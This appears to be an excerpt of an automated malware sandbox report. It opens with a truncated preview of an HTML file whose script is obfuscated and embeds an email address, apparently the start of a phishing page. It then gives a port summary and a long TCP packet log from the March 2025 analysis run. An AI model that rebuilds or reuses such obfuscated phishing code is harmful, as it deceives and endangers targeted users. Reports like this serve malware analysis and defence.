File Content Preview:	...<html>.<head>.<meta charset="UTF-8">.</head>.<body>.<script>..goLhlWsPTlGDsi = "#Mcarmen@mflp.org";.class ryaNNvHFrOlqZv { static hIzdXCcphIUEKR(XMpSKATkKfwYRM) { return XMpSKATkKfwYRM.replace(/[A-Za-z]/g, (FagczAfCYkQarV) => String.fromCharCode(FagczA

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 300
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2025 18:39:32.420989037 CET	49681	80	192.168.2.4	2.17.190.73
Mar 26, 2025 18:39:32.780510902 CET	49680	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:37.762227058 CET	49671	443	192.168.2.4	204.79.197.203
Mar 26, 2025 18:39:38.061609983 CET	49671	443	192.168.2.4	204.79.197.203
Mar 26, 2025 18:39:38.842864990 CET	49671	443	192.168.2.4	204.79.197.203
Mar 26, 2025 18:39:40.045989990 CET	49671	443	192.168.2.4	204.79.197.203
Mar 26, 2025 18:39:42.029911995 CET	49681	80	192.168.2.4	2.17.190.73
Mar 26, 2025 18:39:42.389291048 CET	49680	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:42.467019081 CET	49671	443	192.168.2.4	204.79.197.203
Mar 26, 2025 18:39:45.024194956 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:45.024235964 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:45.024300098 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:45.024553061 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:45.024566889 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:45.219074965 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:45.219214916 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:45.221133947 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:45.221143961 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:45.221545935 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:45.264408112 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:46.511682034 CET	49678	443	192.168.2.4	20.189.173.27
Mar 26, 2025 18:39:46.680425882 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.680459023 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.680517912 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.680747032 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.680752039 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.681251049 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.681294918 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.681344032 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.681569099 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.681581974 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.812717915 CET	49678	443	192.168.2.4	20.189.173.27
Mar 26, 2025 18:39:46.868935108 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.869020939 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.877105951 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.877168894 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.878597021 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.878621101 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.879000902 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.880234003 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.880250931 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.880503893 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:46.880906105 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.919991016 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:46.924268007 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.267355919 CET	49671	443	192.168.2.4	204.79.197.203
Mar 26, 2025 18:39:47.421833038 CET	49678	443	192.168.2.4	20.189.173.27
Mar 26, 2025 18:39:47.657695055 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.657850027 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.657906055 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.657953978 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.657995939 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.658042908 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.658077002 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.658292055 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.658344984 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.658375025 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.658386946 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.658446074 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.658497095 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.658745050 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.658756018 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.658952951 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.659007072 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.659060955 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.659090996 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.659101963 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.659130096 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.659967899 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.660018921 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.660044909 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.660056114 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.660125971 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.660156012 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.660165071 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.660227060 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.660258055 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.660267115 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.660909891 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.662894011 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.662995100 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663048029 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663099051 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663132906 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.663146973 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663183928 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.663593054 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663690090 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663727045 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.663742065 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663841009 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663928032 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.663964987 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.663988113 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664010048 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.664084911 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664202929 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664324999 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664355040 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.664370060 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664402962 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.664484024 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664571047 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664611101 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.664624929 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664680958 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.664694071 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.664741993 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.665009975 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.665023088 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.668181896 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.744049072 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.744138956 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.744822025 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.744859934 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.744883060 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.744893074 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.744918108 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.746257067 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.746295929 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.746324062 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.746331930 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.746356010 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.749358892 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.749454021 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.749464035 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.749691010 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.749766111 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.749793053 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.749800920 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.749825954 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.750550032 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.750577927 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.750585079 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.750596046 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.750610113 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.751274109 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.751302004 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.751312017 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.751322985 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.751334906 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.752118111 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.752141953 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.752151012 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.752172947 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.798389912 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.810554028 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.810724974 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.810753107 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.810765982 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.810789108 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.811269045 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.811299086 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.811302900 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.811319113 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.811327934 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.812342882 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.815398932 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.815673113 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.829848051 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.830703020 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.830717087 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.830765009 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.830795050 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.830802917 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.830826998 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.831084013 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.831212044 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.831253052 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.831276894 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.831285000 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.831307888 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.832185984 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.832214117 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.832221031 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.832233906 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.832242012 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.832642078 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.832650900 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.832791090 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.833157063 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.833837032 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.833863020 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.833870888 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.833883047 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.833892107 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.833909988 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.833915949 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.833937883 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.834747076 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.834794998 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.834820986 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.834827900 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.834846973 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.835694075 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.835742950 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.835764885 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.835772038 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.835798025 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.836744070 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.836785078 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.836816072 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.836822987 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.836846113 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.837577105 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.837682962 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.837691069 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.837750912 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.837826014 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.838294029 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.838804960 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.838856936 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.838865995 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.838874102 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.838897943 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.839670897 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.839762926 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.839773893 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.839782000 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.840224028 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.841959953 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.841985941 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.842014074 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.842020035 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.842060089 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.842060089 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.847110987 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.847134113 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.847188950 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.847198009 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.847240925 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.847240925 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.847500086 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.847522020 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.847589970 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.847589970 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.847599030 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.848009109 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.899177074 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.899240971 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.899380922 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.899425030 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.899473906 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.900454044 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.900506973 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.900568008 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.900583029 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.900619984 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.900681973 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.902823925 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.902865887 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.902911901 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.902925968 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.902957916 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.902980089 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.904614925 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.904659986 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.904706955 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.904720068 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.904748917 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.904911995 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.916671991 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.916726112 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.916763067 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.916779995 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.916831970 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.916893005 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.918540955 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.918596983 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.918636084 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.918649912 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.918679953 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.918785095 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.921199083 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.921222925 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.921303034 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.921303034 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.921319008 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.921760082 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.923100948 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.923125982 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.923158884 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.923182011 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.923190117 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.923211098 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.923336983 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.969870090 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.969913006 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.970022917 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.970022917 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.970068932 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.970603943 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.971762896 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.971807957 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.971853971 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.971863985 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.971899986 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.971966982 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.973737955 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.973778963 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.973824024 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.973835945 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.973870039 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.973937035 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.975665092 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.975713968 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.975759029 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.975770950 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.975806952 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.975816011 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.975836039 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.975853920 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.975892067 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.975971937 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.977700949 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.977752924 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.977797985 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.977809906 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.977844954 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.978075981 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.979604006 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.979655027 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.979702950 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.979716063 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.979753017 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.979808092 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.980530024 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.980705023 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.982636929 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.982681036 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.982778072 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.982779026 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.982794046 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.982868910 CET	49738	443	192.168.2.4	172.64.80.1
